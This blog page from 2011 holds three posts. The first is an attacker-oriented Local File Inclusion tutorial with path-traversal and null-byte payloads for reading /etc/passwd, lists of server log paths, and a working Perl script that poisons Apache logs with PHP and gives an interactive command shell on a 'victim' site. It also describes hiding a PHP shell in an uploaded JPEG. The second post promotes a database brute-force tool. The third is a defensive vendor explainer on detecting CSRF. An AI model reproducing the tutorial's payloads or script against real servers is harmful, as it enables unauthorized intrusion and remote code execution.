Tuesday, August 30, 2011

Local File Inclusion Tutorial Part 1 of 4

Local File Inclusion Tutorial

This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).

First lets take a look at a php code that is vulnerable to LFI:

PHP Code:
$page = $_GET[page];
include(
$page);
?>

Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.

Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type victim.com/test/test.php will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru victim.com/index.php?page=test/test.php , see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory
transversal using that will allow you to go up in the directories.


Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):

Quote:
victim.com/index.php?page=../../../../../../../etc/passwd

If you don't know what to do with the content of etc/passwd then continue reading! :puah[1]: The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:

Quote:
username: passwd:UID:GID:full_name:directory:shell
For example:

Quote:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:

Quote:
username:x:503:100:FullName:/home/username:/bin/sh
As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many
processes, thats why you have access to it).

You can also sometimes see something like this:

Quote:
username:!:503:100:FullName:/home/username:/bin/sh
The ! indicates that the encoded password is stored in the etc/security/passwd file.

Heres a couple of places that may be interesting to "visit":

Quote:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
You will probably need to google for it as this is not the right tutorial to it.


Just one more quick thing, its also common to find a vulnerable code like:

PHP Code:
$page = $_GET["page"];
include(
"$page.php");
?>

In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:
victim.com/index.php?file=../../../../../../../../etc/passwd

it will retrieve:
victim.com/index.php?file=../../../../../../../../etc/passwd.php that file don't exist, and you will see an error message, so you need to apply the null byte (%00):
victim.com/index.php?file=../../../../../../../../etc/passwd%00


With the null byte the server will ignore everything that comes after %00.



There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin! :jeerat.gif


We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:

Quote:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code . You will then type at your browser victim.com/ and the php code will be logged because it "dosen't exist".

This possibly won't work because if you go look into the log you will probably see the php code like this:

Quote:
%3C?%20passthru(\$_GET[cmd])%20?>
because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:

Code:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
print $socket "GET ".$path.$code." HTTP/1.1\r\n";
print $socket "User-Agent: ".$code."\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "\nCode $code sucssefully injected in $log \n";

print "\nType command to run or exit to end: ";
$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "\nConnection Failed.\n\n";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$site."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\n";

while ($show = <$socket>)
{
print $show;
}

print "Type command to run or exit to end: ";
$cmd = ;
}

Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!

That script will inject the code and then will ask you for a command to run on the server! You know what to do now! :secret.gif



Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.
You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!

This is a quick explanation, for a better understanding you can view the video at http://www.milw0rm.com/video/watch.php?id=57


You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the edjpgcom download http://software.security-shell.com/i...e=edjpgcom.zipprogram (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!


Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!


After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:

Quote:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37
If you can't force an error go back to the etc/passwd file:

Quote:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!


Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.

In your browser type this (again, the nr of ../ may vary):

Quote:
victim.com/index.php=../../../../../../../../../home/the_other_site_dir/public_html/path_to_your_avatar/avatar.jpg
In order "words" should look like this (using fictitious "names"):

Quote:
victim.com/index.php=../../../../../../../../../home/arcfull/public_html/forum/uploads/avatar.jpg
After you type this you will see the result of the code inserted in the image!

Saturday, August 13, 2011

HexorBase v1.0 - Database Hacking Tool

HexorBase is a database application designed for administering and auditing multiple database servers simultaneously from a centralized location, it is capable of performing SQL queries and bruteforce attacks against common database servers (MySQL, SQLite, Microsoft SQL Server, Oracle, PostgreSQL ).HexorBase allows packet routing through proxies or even metasploit pivoting antics to communicate with remotely inaccessible servers which are hidden within local subnets.



You can download it here : Hexorbase Database Ethical Hacking Tool

Saturday, August 6, 2011

Detecting Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) generates many questions from prospects, customers, partners, and Web application security professionals we work with. The questions tend to fall into similar categories, so we figured it would be helpful to summarize them and share our perspective on CSRF. We would definitely appreciate feedback and/or debate from the community to help battle-test our approach.

The 5 Most Often Asked Questions about CSRF

What is CSRF?
How do we decide which CSRF to report?
How do software security tools find CSRF today?
How do we test for CSRF?
Why do we consider CSRF unresolved if there are XSS or HTTP Response Splitting vulnerabilities present in the website?

First, what is CSRF?
At a high level, CSRF means an attacker can force a victim’s Web browser to make a request to a website of the attacker’s choosing, but the victim’s own Web browser makes the request. Of course, the ability of one’s own Web browser to make transparent requests to multiple websites is a fundamental design principle of the Web. For example, iFrames and Web 2.0 widgets perform legitimate actions like CSRF on websites all the time. The simplest form of CSRF is to embed content in one domain from another domain in a frame, which forces users’ browsers to make off-domain requests they may not realize they’re making. Another legitimate form of CSRF is to make a javascript-driven request to another website. In early Internet days many sites combined the use of frames and CSRF to share URL parameters between sites. I call this “The poor man’s Web service.”
Obviously there is potential for abuse when an attacker can make victims request a resource they want to avoid requesting, such as installing malware, changing a password to an attacker-controlled value, bidding on an unwanted item, etc. However, as noted above, there are legitimate uses for CSRF,  including pulling in off-domain “Web 2.0″ JavaScript widgets, and sourcing in an image.
Basically, CSRF has a legitimate use-case to access almost every resource − from pages to forms − on most websites. Yet from a security perspective we are only interested in the abuse-cases.
So how do we distinguish between the legitimate use-cases and the abuse-cases for CSRF?

How does WhiteHat Security decide which CSRF to report?
At WhiteHat we define CSRF as a vulnerability when an attacker can execute CSRF against any of three types of resources:
1.  Where security decisions are made.
2.  Where an attacker can use CSRF to force arbitrary code injection that impacts one or more users.
3.  Where a transaction occurs involving the transfer of money or goods.

Examples of decision-making processes that compromise security include:
  • Password Reset / User Account modification − authorization (Auth/Z) decision bypassed
  • Add contact or “friend” − confidentiality compromise based on assumption of user Auth/Z
Examples of CSRF forcing arbitrary code injection:
  • Send contact Web-based IM / message including an attack such as Cross-Site Scripting – compromise of authorization and confidentiality
  • Force user to malware/DbD  (Drive-by Download) resource or revenue-cookie-stuffing resource – again compromise of confidentiality and Auth/Z
Examples of compromised transaction processes:
  • Bid on, or purchase of, unwanted/unexpected item
  • Change the “Ship To:” address field during legitimate user purchase
  • Submit stock trading requests, front-run user decisions, or manipulate the market

Compared to most design flaws, CSRF typically has a larger subjective “grey area” when defining which CSRF are vulnerabilities. We often find that a CSRF flaw requires more explanation in order for businesses to understand how CSRF puts their websites at risk compared to other design weaknesses. Consequently, the above definitions help us focus on – and give customers an understanding of – the CSRFs that can have negative impact on their security and their business.

How do software security tools find CSRF today?
CSRF is clearly a “Design Flaw / Business Logic” vulnerability or, from a software perspective, an error of omission at specification time. Specifications that address security abuse-cases are commonly omitted – in the password-reset CSRF example we provide below – the missing specification is “only authenticatedEntity actors should be able to reset their own passwords.” Given the context of omission – and given DAST’s strength at finding errors of omission – CSRF is most easily identified by Dynamic Analysis Software Testing (DAST). While it is possible to identify weak design-patterns in source code, such as the password-reset example, we find in practice that the majority of dangerous CSRFs are not identified by either Static Analysis Software Testing (SAST) or human source-code reviews.
It appears DAST Web application vulnerability scanners approach CSRF in one of three ways:
1. False-Negatives (FN): Do not test for CSRF.
2. False-Positives (FP): After scanning a website for vulnerabilities, attempt to replay every request reporting all successfully replayed requests – both idempotent and non-idempotent − as “Potential CSRF” regardless of security impact.
3. False-Negatives + False-Positives: Attempt to replay all non-idempotent POST requests/forms, and flag all successful replays as “CSRF Vulnerabilities.”
There are two big problems with approaching CSRF-testing automation in the three ways listed above. First, the problem of false negatives: Obviously, the scanners that ignore CSRF generate FNs. However, we have observed that most scanners tend to ignore both dynamically created forms and JSON requests (GET and POST) in their CSRF results. We are uncertain whether this oversight is an attempt to reduce false-positives (many JSON requests will have no CSRF security implications) or simply an artifact of current scanner limitations in executing javascript and/or testing DOM-based forms that require user interaction. Possibly, both factors result in the presence of false negatives.
The second important FN gap is that scanners fail to identify CSRFs that facilitate arbitrary code execution. This is particularly a problem in the case of persistent code injection, which can be used to make XSS/CSRF worms such as the Samy Worm on MySpace.
False positives: The two scanner approaches just mentioned generate a massive amount of false positives for scanner users to sort through as they look for the proverbial “vulnerable needle in the haystack.” We’ve learned that most users eventually turn off the CSRF testing features; otherwise, they find themselves overwhelmed with many more results than they can possibly sort. Recently, a few scanners have tried to “tune down” the number of false positives, using some form of keyword signature matching in order to filter the false positives and raise their potential priority. This is actually one of the approaches that Sentinel uses, and has shown some merit.

How does WhiteHat Security test for CSRF?
WhiteHat’s Sentinel Service uses a combination of automation and customized tests generated by engineers in our Threat Research Center (TRC) to test for CFSR. Because CSRF is a business logic issue it is handled under the testing domain of our Sentinel Premium Edition (PE) service. One of the unique features of Sentinel PE is that our TRC engineers map out the application and teach Sentinel how to navigate logic and workflows, as well as how to create user comparison tests that usually reach across multiple users and multiple roles.
During this initial testing process we flag key areas that meet our three “actionable” CSRF criteria defined above and test them for replay-ability. As part of the ongoing scanning process, Sentinel PE also identifies new code and opens tickets that TRC engineers use to custom configure Sentinel in order to test those functions. Because most CSRF occurs in forms / POST requests it is relatively easy to capture these new functions and new features as they are released in the Web application. Of course detecting vulnerabilities in new code as it is pushed requires scanning the application on an ongoing basis.
WhiteHat also reviews every application covered by Sentinel PE service on a yearly cycle to determine whether new design patterns or coding practices have been introduced that Sentinel might otherwise overlook. For example, a new type of Web-remoting library could expose an application to CSRF without Sentinel automatically detecting it. Therefore, our standard practice is to customize and configure Sentinel for all sites we assess whenever a new design pattern or programming practice is identified.
On to Sentinel automation – specifically: automating the detection of Weak Design Patterns. During the past four years we’ve learned a lot about CSRF while testing thousands of Web applications. One of the discoveries is that some CSRFs occur in common, weak design-patterns that can often be described with a high degree of accuracy. For these cases we’ve built an automated battery of “Known Bad CSRF conditions” that Sentinel searches for. As an example, let’s consider the obvious password-reset design:
If Sentinel discovers a password-reset function that has only two input fields that both accept the same input and can be replayed, there is an extremely high likelihood that the function is CSRFable with clear security implications. Likewise, this same pattern will flag the section in a new-user account registration workflow, which is private to the user-session and located where the user first creates a password. In some cases the initial password-creation function can be re-invoked via CSRF, and then used to reset the user’s existing password after the account is created.
There are several other examples, similar to the one just described above, where describing the replay criteria is fairly straightforward once you know the name of the form or function involved in the decision / transaction.

Why does WhiteHat Security consider CSRF unresolved if there are Cross-Site Scripting (XSS) or HTTP Response Splitting (HTTP/RS) vulnerabilities present in the website?
Most anti-CSRF controls involve embedding a Dynamic Authorization Token (DAT), a token that is a one-time-use, mathematically unique nounce, into each request. Presumably, users who have not legitimately requested a page would not have the DAT required to successfully submit a CSRFable form on that page. However, if any part of the Web application is vulnerable to XSS or HTTP/RS, then an attacker can bypass the CSRF protection. For the sake of specificity, let’s call an HTTP/RS vulnerability in a resource that facilitates XSS: “XSS++”.
Specifically, the attacker will first force the victim to make a CSRF request to the XSS/++ vulnerable website, injecting the attacker’s XSS/++ attack code into the application. That XSS/++ attack will then execute in the victim’s browser, making a CSRF request to the protected resource, and will then parse the DAT required to make the protected request from the response. Finally, the attack will resend the malicious CSRF request, including the DAT that is intended to protect it. In effect, XSS/++ neuters the effectiveness of token-based CSRF compensating controls.
Because the attacker can force a legitimate user to CSRF an XSS/++ attack anywhere in a Web application, it is essential to remember that all XSS/++ are equally vulnerable to the attacker in this scenario. If the victim is logged in, it does not matter if the XSS/++ vulnerability requires authentication. And it does not matter if the XSS/++ is persistent or reflected. What does matter is to know this: All XSS/++ can be attacked equally. While persistent XSS can certainly have a larger impact over time, in regards to this specific attack scenario, all XSS attack vectors are equal.

Conclusion
Let’s wrap up this section with a concrete, real-world example of how a seemingly “benign” CSRF can be combined with other vulnerabilities, including XSS, to completely compromise a system. Here are the parameters: A website has no obvious CSRF vulnerabilities, but it is vulnerable to XSS, and has a Local-File Include vulnerability that potentially could allow arbitrary server-side code execution. The vulnerable application also includes a “file-upload” feature, but because you cannot CSRF the file-upload cross-domain, most scanners will ignore this particular CSRF. However, the attacker can combine CSRF + XSS + the Local File Include vulnerabilities to completely compromise the website, the Web server, and the operating system − remotely − in this scenario.
Here’s how it’s done: A user of the vulnerable website visits another website that the attacker has already hacked. The hacked website forces the user’s browser to make a CSRF attack that injects an XSS attack payload into the vulnerable website. The XSS attack fetches the attacker’s malicious PHP file, uploads it, and then exploits the Local File Include design flaw to execute the malicious PHP file on the server, taking complete control of the system − a system that appeared free from CSRF attack. All of this malicious activity occurs without the attacker making a single click, and the victim is completely unaware that anything has happened. In this manner, a seemingly innocent CSRF can be combined with other potential and known vulnerabilities to produce disastrous results.
Given these facts, if you have CSRF vulnerabilities that present real risks, it is tactically imperative to fix all of your XSS and HTTP/RS vulnerabilities while simultaneously building your CSRF protections. It is equally important to have both an ongoing website risk measurement and testing program that can identify new XSS and HTTP/RS that appear in new code as it is released, as well as a process in place to remediate the new vulnerabilities quickly. Otherwise – your CSRF vulnerabilities will always be exploitable – and your Window of Exposure to CSRF in your Web applications will be open “All Year Long.”
There are other ways to improve both software designs and development processes in the SDLC in order to reduce XSS, XSS++, and in the CSRF in new code you write. However, that subject in itself is vast and requires a longer discussion.
In summary, for the purpose of measuring and managing risk to your organization from CSRF in applications that: (1) you own; (2) you control; (3) you don’t own; (4) and/or that you can’t control, you must have − at a minimum − an ongoing tactical Web security measurement and response program for CSRF, XSS, and XSS++.
Certified Ethical Hacker Network Security Internet Security Computer Security Wireless Network Security